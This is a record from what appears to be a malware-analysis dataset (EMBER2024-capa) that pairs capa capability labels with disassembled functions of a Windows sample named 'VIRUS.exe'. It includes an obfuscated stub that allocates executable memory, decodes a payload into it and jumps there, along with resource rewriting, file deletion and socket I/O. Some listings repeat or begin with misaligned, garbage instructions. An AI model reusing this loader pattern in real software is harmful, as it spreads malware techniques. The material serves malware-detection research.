joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0xea0b6e62
sub eax, 0xe9cb51fc
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x2ab9921b
sub dword [ebp - 0x58], 0xdc674cd0
mov dword [ebp - 0x54], 0x69808693
sub dword [ebp - 0x54], 0x374d3a4e
mov dword [ebp - 0x50], 0x939919ce
sub dword [ebp - 0x50], 0x474cd5a0
mov dword [ebp - 0x4c], 0x286bda6
sub dword [ebp - 0x4c], 0x286bda6
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8aefa492
add eax, 0x75508bc2
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xeff194a8
sub dword [ebp - 0x58], 0x7b7f2b52
mov dword [ebp - 0x54], 0x325ec818
add dword [ebp - 0x54], 0xf0d995d
mov dword [ebp - 0x50], 0x931d7f73
sub dword [ebp - 0x50], 0x2fae1307
mov dword [ebp - 0x4c], 0x824340c8
add dword [ebp - 0x4c], 0x7dbcbf38
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x8cc9b56d
sub eax, 0x8c898541
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37c3e
push 0
call eax
mov ecx, 0x388f6029
add ecx, 0xc770ecfa
mov esi, eax
mov edx, 0xa524adff
add edx, 0x5b1bc201
add edx, dword [ebp - 0x48]
mov ebx, 0x202efe53
sub ebx, 0xa8881fe6
xor dword [ebp - 0x28], esi
mov edi, dword [edx]
sub edi, ebx
sub dword [ebp - 8], 0x2b912f78
mov dword [esi], edi
xor dword [ebp - 8], eax
add esi, 0x80d8721b
add esi, 0x7f278de9
add edx, 4
loop 0x401d88
add eax, 0xf9985a9a
add eax, 0x668ccc5
mov ebx, eax
add eax, 0xdd0dcbb9
add eax, 0x22f2344c
mov ecx, 0x58910780
sub ecx, 0x58510780
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4014f8
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x40150a
mov eax, dword [0x4e708b]
shl eax, 2
mov dword [0x4e708f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004dbb80
pop edx
call fcn.004dbae4
call fcn.004dbbc0
push 0
call fcn.004dcfcc
pop ecx
push 0x4e7034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4e7093], eax
push 0
jmp fcn.004e0e88

Function at 0x401d24
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, 0x4f963c
mov eax, 0x4e7264
call fcn.004dc32c
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004e5150
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
cmp dword [ebp + 8], 0
je 0x401d62
mov edx, dword [ebp + 8]
jmp 0x401d67
mov edx, 0x4e7131
push edx
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
mov dword [esi], ebx
test ebx, ebx
jne 0x401d98
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401e73
push 3
push 0x4e7132
mov ecx, dword [esi]
push ecx
call sub.KERNEL32.DLL_FindResourceA
mov ebx, eax
mov dword [0x4f9640], ebx
test ebx, ebx
jne 0x401dd6
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401e73
mov ecx, dword [0x4f9640]
push ecx
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_LoadResource
mov ebx, eax
mov dword [0x4f9638], ebx
test ebx, ebx
jne 0x401e11
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401e73
mov ecx, dword [0x4f9640]
push ecx
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov ebx, eax
mov dword [0x4f964c], ebx
push ebx
call fcn.004db9f4
mov edi, eax
pop ecx
mov dword [0x4f9650], edi
mov eax, dword [0x4f964c]
mov edx, dword [0x4f9638]
push eax
push edx
push edi
call fcn.004dbfa0
add esp, 0xc
mov ecx, dword [esi]
push ecx
call sub.KERNEL32.DLL_FreeLibrary
mov al, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e7c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
mov eax, 0x4e7288
push ebx
call fcn.004dc32c
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004e5150
inc dword [ebp - 8]
mov edx, dword [0x4f9650]
mov word [ebp - 0x14], 8
push edx
call sub.KERNEL32.DLL_LockResource
mov ebx, eax
mov dword [0x4f9648], ebx
test ebx, ebx
jne 0x401ee3
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401fbd
push 0
cmp dword [ebp + 8], 0
je 0x401ef0
mov ecx, dword [ebp + 8]
jmp 0x401ef5
mov ecx, 0x4e7135
push ecx
call sub.KERNEL32.DLL_BeginUpdateResourceA
mov ebx, eax
mov dword [0x4f9644], ebx
test ebx, ebx
jne 0x401f2a
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401fbd
mov ecx, dword [0x4f964c]
mov eax, dword [0x4f9648]
push ecx
push eax
push 0
push 1
mov edx, dword [0x4f9644]
push 3
push edx
call sub.KERNEL32.DLL_UpdateResourceA
test eax, eax
jne 0x401f6d
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401fbd
push 0
mov ecx, dword [0x4f9644]
push ecx
call sub.KERNEL32.DLL_EndUpdateResourceA
test eax, eax
jne 0x401f9f
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x401fbd
mov al, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401fc4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov eax, 0x4e72ac
push ebx
call fcn.004dc32c
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004e5150
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
push 0
push 0
push 3
push 0
push 1
push closesocket
cmp dword [ebp + 8], 0
je 0x40200a
mov edx, dword [ebp + 8]
jmp 0x40200f
mov edx, 0x4e7136
push edx
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
push 0
push 0
push 0x13aa00
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0x28]
push 0
push eax
lea edx, [ebp - 0x2b]
push 3
push edx
push ebx
call sub.KERNEL32.DLL_ReadFile
push 2
push 0x4e7137
lea ecx, [ebp - 0x2b]
push ecx
call fcn.004dc1e4
add esp, 0xc
test eax, eax
je 0x402075
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x402099
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov al, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020a0
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
mov eax, 0x4e72d0
call fcn.004dc32c
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004e5150
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
push 0x2000
push 0
push 0
push 0x80
cmp dword [ebp + 8], 0
je 0x4020e4
mov edx, dword [ebp + 8]
jmp 0x4020e9
mov edx, 0x4e713a
push edx
call sub.SHELL32.DLL_SHGetFileInfoA
cmp eax, 0x4004550
jne 0x402116
mov al, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x402134
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004e518c
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40324c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1a8]
push eax
push 0x101
call sub.WSOCK32.DLL_WSAStartup
xor edi, edi
xor eax, eax
mov dword [ebp - 0x18], eax
mov byte [ebx], 0
push 0x64
lea edx, [ebp - 0x20c]
push edx
call sub.WSOCK32.DLL_gethostname
test eax, eax
jne 0x4033f2
push 0x4e76de
lea ecx, [ebp - 0x20c]
push ecx
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x4033f2
lea eax, [ebp - 0x20c]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4033f2
inc dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0xc]
lea edx, [eax + edi*4]
test edx, edx
je 0x4033f2
mov ecx, dword [eax + edi*4]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x4033f2
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
push edx
call sub.WSOCK32.DLL_ntohl
mov esi, eax
lea edx, [ebp - 8]
mov eax, esi
and eax, 0xff000000
shr eax, 0x18
xor ecx, ecx
mov byte [ebp - 0x14], al
push 0xa
push edx
mov cl, al
push ecx
call fcn.004de4c0
add esp, 0xc
lea eax, [ebp - 8]
push eax
push ebx
call fcn.004dc0b4
mov eax, esi
add esp, 8
and eax, 0xff0000
lea edx, [ebp - 8]
shr eax, 0x10
xor ecx, ecx
mov byte [ebp - 0x13], al
push 0xa
push edx
mov cl, al
push ecx
call fcn.004de4c0
add esp, 0xc
push str.....
push ebx
call fcn.004dc0b4
add esp, 8
lea eax, [ebp - 8]
push eax
push ebx
call fcn.004dc0b4
mov eax, esi
add esp, 8
and eax, 0xff00
lea edx, [ebp - 8]
shr eax, 8
xor ecx, ecx
mov byte [ebp - 0x12], al
push 0xa
push edx
mov cl, al
push ecx
call fcn.004de4c0
add esp, 0xc
push 0x4e76e1
push ebx
call fcn.004dc0b4
add esp, 8
lea eax, [ebp - 8]
push eax
push ebx
call fcn.004dc0b4
add esp, 8
mov eax, esi
and al, 0xff
xor ecx, ecx
mov byte [ebp - 0x11], al
lea edx, [ebp - 8]
push 0xa
push edx
mov cl, al
push ecx
call fcn.004de4c0
add esp, 0xc
push 0x4e76e3
push ebx
call fcn.004dc0b4
add esp, 8
lea eax, [ebp - 8]
push eax
push ebx
call fcn.004dc0b4
add esp, 8
push 0x4e76e5
push ebx
call fcn.004dc0b4
add esp, 8
inc edi
cmp dword [ebp - 0xc], 0
je 0x4033e6
cmp dword [ebp - 0x18], 6
jl 0x4032be
call sub.WSOCK32.DLL_WSACleanup
push 0
call sub.USER32.DLL_PostQuitMessage
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a52c
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40a68c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sym.VIRUS.exe__Mysqlaccess_TNativeConnect_InternalConnect_qqrv
mov eax, dword [ebp - 4]
cmp dword [eax + 0x14], 0xc352
jge 0x40a5ab
lea eax, [ebp - 0x20]
push eax
lea edx, [ebp - 0x24]
mov eax, dword [sym.VIRUS.exe__Mysqltypes__SMySQLVersionLess]
call fcn.0049d4b8
mov eax, dword [ebp - 0x24]
push eax
mov eax, 0x40a6a0
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
lea edx, [ebp - 0x2c]
xor ecx, ecx
pop eax
call fcn.00488a38
mov ecx, dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x4531dc]
call fcn.0048bb64
call fcn.0049aa94
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
call fcn.00487880
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
lea edx, [ebp - 0x2c]
xor ecx, ecx
mov eax, 0x40a6b0
call fcn.00488a38
lea eax, [ebp - 0xd]
push eax
mov cl, 1
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call sym.VIRUS.exe__Umydmclient_TMysqlClient_query_qqrx17System_AnsiStringoro
mov dword [ebp - 0x14], eax
cmp byte [ebp - 0xd], 0
je 0x40a646
cmp dword [ebp - 0x14], 0
je 0x40a64e
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
test eax, eax
jle 0x40a64e
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 1
xor edx, edx
mov eax, dword [ebp - 0x14]
call sym.VIRUS.exe__Umydmclient_TMysqlResult_FieldValue_qqri
mov edx, eax
lea eax, [ebp - 0x34]
call fcn.0049b208
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x14]
call sym.VIRUS.exe__Umydmclient_TMysqlResult_Next_qqrv
inc dword [ebp - 0xc]
dec dword [ebp - 0x1c]
jne 0x40a615
jmp 0x40a64e
mov eax, dword [ebp - 4]
call sym.VIRUS.exe__Mysqlaccess_TNativeConnect_CheckResult_qqrv
cmp dword [ebp - 0x14], 0
je 0x40a65c
mov eax, dword [ebp - 0x14]
call fcn.0049a2c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a693
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.0049b03c
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.0049b03c
lea eax, [ebp - 0x18]
call fcn.0049b018
ret

Function at 0x41c618
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
push 0x41c634
push 0x41c668
push 0
call sub.SHELL32.DLL_ShellExecuteA
pop ebp
ret

Function at 0x41c670
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
push 0x41c68c
push 0x41c6c4
push 0
call sub.SHELL32.DLL_ShellExecuteA
pop ebp
ret

Function at 0x41c6cc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
push 0x41c6e8
push 0x41c724
push 0
call sub.SHELL32.DLL_ShellExecuteA
pop ebp
ret
Function at 0x433f14
Capabilities:
Get socket status

Disassembly:
or dword [ebp + ecx*2 + 0x79], edx
jae 0x433f8b
insb byte es:[edi], dx
push esi
imul ebp, dword [edi - 0x70], 0x433f2490
add byte [edi], al
pop es
or dword [ebp + ecx*2 + 0x79], edx
jae 0x433f9c
insb byte es:[edi], dx
push esi
imul ebp, dword [edi + 0x14], 0x1400433f
jp 0x433f7f
add byte [eax], al
add byte [eax], cl
jne 0x433f89
jns 0x433f82
dec ebp
push esi
imul ebp, dword [edi], 0x830a8b00
stc
inc eax
jge 0x433f51
mov dword [edx + ecx*4 + 4], eax
inc dword [edx]
ret
invalid
ror byte [ecx - 0x21f7b], 0xff
xor eax, eax
mov dword [ebp - 0x324], eax
movsx edi, word [ebp - 4]
mov ebx, dword [ebp - 8]
mov word [ebp - 2], 0
add byte [eax], al
test ebx, ebx
jl 0x433ffa
lea eax, [ebp - 0x428]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x433ffa
cmp esi, ebx
jge 0x433fb9
mov esi, ebx
mov eax, edi
and eax, 1
dec eax
jne 0x433fce
lea edx, [ebp - 0x11c]
mov eax, ebx
call 0x433f44
mov eax, edi
and eax, 4
cmp eax, 4
jne 0x433fe5
lea edx, [ebp - 0x220]
mov eax, ebx
call 0x433f44
and edi, 2
cmp edi, 2
jne 0x433ffa
lea edx, [ebp - 0x324]
mov eax, ebx
call 0x433f44
cmp dword [ebp - 0xc], 0
jl 0x43401f
mov eax, dword [ebp - 0xc]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
imul eax, ecx, 0x3e8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
inc esi
push esi
call sub.WSOCK32.DLL_select
test eax, eax
jl 0x4340c2
xor esi, esi
mov di, word [ebp - 4]
and di, 7
movsx edi, di
mov ebx, dword [ebp - 8]
test ebx, ebx
jl 0x4340b7
lea eax, [ebp - 0x428]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
je 0x43406f
mov edi, 0x20
jmp 0x4340ab
lea eax, [ebp - 0x11c]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x434083
and edi, 0xfffffffe
lea eax, [ebp - 0x220]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x434097
and edi, 0xfffffffb
lea eax, [ebp - 0x324]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x4340ab
and edi, 0xfffffffd
mov eax, edi
mov word [ebp - 2], ax
test ax, ax
je 0x4340b7
inc esi
test esi, esi
jle 0x4340bf
mov eax, esi
jmp 0x4340c2
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433f24
Capabilities:
Get socket status

Disassembly:
or dword [ebp + ecx*2 + 0x79], edx
jae 0x433f8b
insb byte es:[edi], dx
push esi
imul ebp, dword [edi - 0x70], 0x433f2490
add byte [edi], al
pop es
or dword [ebp + ecx*2 + 0x79], edx
jae 0x433f9c
insb byte es:[edi], dx
push esi
imul ebp, dword [edi + 0x14], 0x1400433f
jp 0x433f7f
add byte [eax], al
add byte [eax], cl
jne 0x433f89
jns 0x433f82
dec ebp
push esi
imul ebp, dword [edi], 0x830a8b00
stc
inc eax
jge 0x433f51
mov dword [edx + ecx*4 + 4], eax
inc dword [edx]
ret
invalid
ror byte [ecx - 0x21f7b], 0xff
xor eax, eax
mov dword [ebp - 0x324], eax
movsx edi, word [ebp - 4]
mov ebx, dword [ebp - 8]
mov word [ebp - 2], 0
add byte [eax], al
test ebx, ebx
jl 0x433ffa
lea eax, [ebp - 0x428]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x433ffa
cmp esi, ebx
jge 0x433fb9
mov esi, ebx
mov eax, edi
and eax, 1
dec eax
jne 0x433fce
lea edx, [ebp - 0x11c]
mov eax, ebx
call 0x433f44
mov eax, edi
and eax, 4
cmp eax, 4
jne 0x433fe5
lea edx, [ebp - 0x220]
mov eax, ebx
call 0x433f44
and edi, 2
cmp edi, 2
jne 0x433ffa
lea edx, [ebp - 0x324]
mov eax, ebx
call 0x433f44
cmp dword [ebp - 0xc], 0
jl 0x43401f
mov eax, dword [ebp - 0xc]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
imul eax, ecx, 0x3e8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
inc esi
push esi
call sub.WSOCK32.DLL_select
test eax, eax
jl 0x4340c2
xor esi, esi
mov di, word [ebp - 4]
and di, 7
movsx edi, di
mov ebx, dword [ebp - 8]
test ebx, ebx
jl 0x4340b7
lea eax, [ebp - 0x428]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
je 0x43406f
mov edi, 0x20
jmp 0x4340ab
lea eax, [ebp - 0x11c]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x434083
and edi, 0xfffffffe
lea eax, [ebp - 0x220]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x434097
and edi, 0xfffffffb
lea eax, [ebp - 0x324]
push eax
push ebx
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x4340ab
and edi, 0xfffffffd
mov eax, edi
mov word [ebp - 2], ax
test ax, ax
je 0x4340b7
inc esi
test esi, esi
jle 0x4340bf
mov eax, esi
jmp 0x4340c2
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433f54
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x18], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x428], eax
xor eax, eax
mov dword [ebp - 0x11c], eax
xor eax, eax
mov dword [ebp - 0x220], eax
Function at 0x43511c
Capabilities:
Read file on windows
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov al, byte [ebx + 0x10]
test al, al
je 0x4351d7
cmp al, 4
jne 0x435171
push edi
push esi
mov eax, dword [ebx + 0xe0]
push eax
mov eax, dword [sym.VIRUS.exe__Umydmssl_SSL_read]
mov eax, dword [eax]
call eax
add esp, 0xc
mov esi, eax
test esi, esi
jg 0x4351da
push esi
mov eax, dword [ebx + 0xe0]
push eax
mov eax, dword [sym.VIRUS.exe__Umydmssl_SSL_get_error]
mov eax, dword [eax]
call eax
add esp, 8
neg eax
mov esi, eax
jmp 0x4351da
cmp byte [ebx + 0x10], 3
jne 0x435196
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x435191
or esi, 0xffffffff
jmp 0x4351da
mov esi, dword [ebp - 4]
jmp 0x4351da
cmp byte [ebx + 0xec], 0
je 0x4351b0
push 0
push edi
push esi
mov eax, dword [ebx + 4]
push eax
call sub.WSOCK32.DLL_recv
mov esi, eax
jmp 0x4351da
mov edx, dword [ebx + 0xe8]
mov eax, ebx
call sym.VIRUS.exe__Umydmvio_TMysqlVio_vio_poll_read_qqrui
test al, al
je 0x4351d2
push 0
push edi
push esi
mov eax, dword [ebx + 4]
push eax
call sub.WSOCK32.DLL_recv
mov esi, eax
jmp 0x4351da
or esi, 0xffffffff
jmp 0x4351da
or esi, 0xffffffff
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x435214
Capabilities:
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov al, byte [ebx + 0x10]
test al, al
je 0x43527d
cmp al, 4
jne 0x435245
push edi
mov eax, dword [esi]
push eax
mov eax, dword [ebx + 0xe0]
push eax
mov eax, dword [sym.VIRUS.exe__Umydmssl_SSL_write]
mov eax, dword [eax]
call eax
add esp, 0xc
jmp 0x435280
cmp byte [ebx + 0x10], 3
jne 0x43526c
push 0
lea eax, [ebp - 4]
push eax
push edi
mov eax, dword [esi]
push eax
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x435267
or eax, 0xffffffff
jmp 0x435280
mov eax, dword [ebp - 4]
jmp 0x435280
push 0
push edi
mov eax, dword [esi]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.WSOCK32.DLL_send
jmp 0x435280
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4449d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
cmp esi, dword [ebp + 8]
jge 0x4449eb
mov bl, byte [ecx + esi]
xor bl, byte [eax + esi]
mov byte [edx + esi], bl
inc esi
cmp esi, dword [ebp + 8]
jl 0x4449dc
pop esi
pop ebx
pop ebp
ret 4
Function at 0x444e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
lea edi, [ebp - 0x21]
mov ebx, esi
lea edx, [ebp - 0x21]
mov eax, dword [ebp - 4]
mov ecx, 8
call fcn.00499224
mov byte [ebp - 0x19], 0
cmp dword [ebp - 8], 0
je 0x444f1a
mov eax, dword [ebp - 8]
cmp byte [eax], 0
je 0x444f1a
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call sym.VIRUS.exe__Umydmnewpassword_hashPassword_qqrpcrit2
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x21]
call sym.VIRUS.exe__Umydmnewpassword_hashPassword_qqrpcrit2
mov ecx, dword [ebp - 0xc]
xor ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
xor edx, dword [ebp - 0x18]
lea eax, [ebp - 0x40]
call fcn.00444d88
jmp 0x444eee
lea eax, [ebp - 0x40]
call fcn.00444e08
fmul dword [0x444f24]
add esp, 0xfffffff4
fstp xword [esp]
wait
call fcn.00444dc4
add eax, 0x40
jno 0x444ee6
call fcn.0049a208
mov byte [ebx], al
add ebx, 1
add edi, 1
cmp byte [edi], 0
jne 0x444ec2
lea eax, [ebp - 0x40]
call fcn.00444e08
fmul dword [0x444f24]
add esp, 0xfffffff4
fstp xword [esp]
wait
call fcn.00444dc4
cmp ebx, esi
je 0x444f1a
xor byte [esi], al
add esi, 1
cmp ebx, esi
jne 0x444f11
mov byte [ebx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret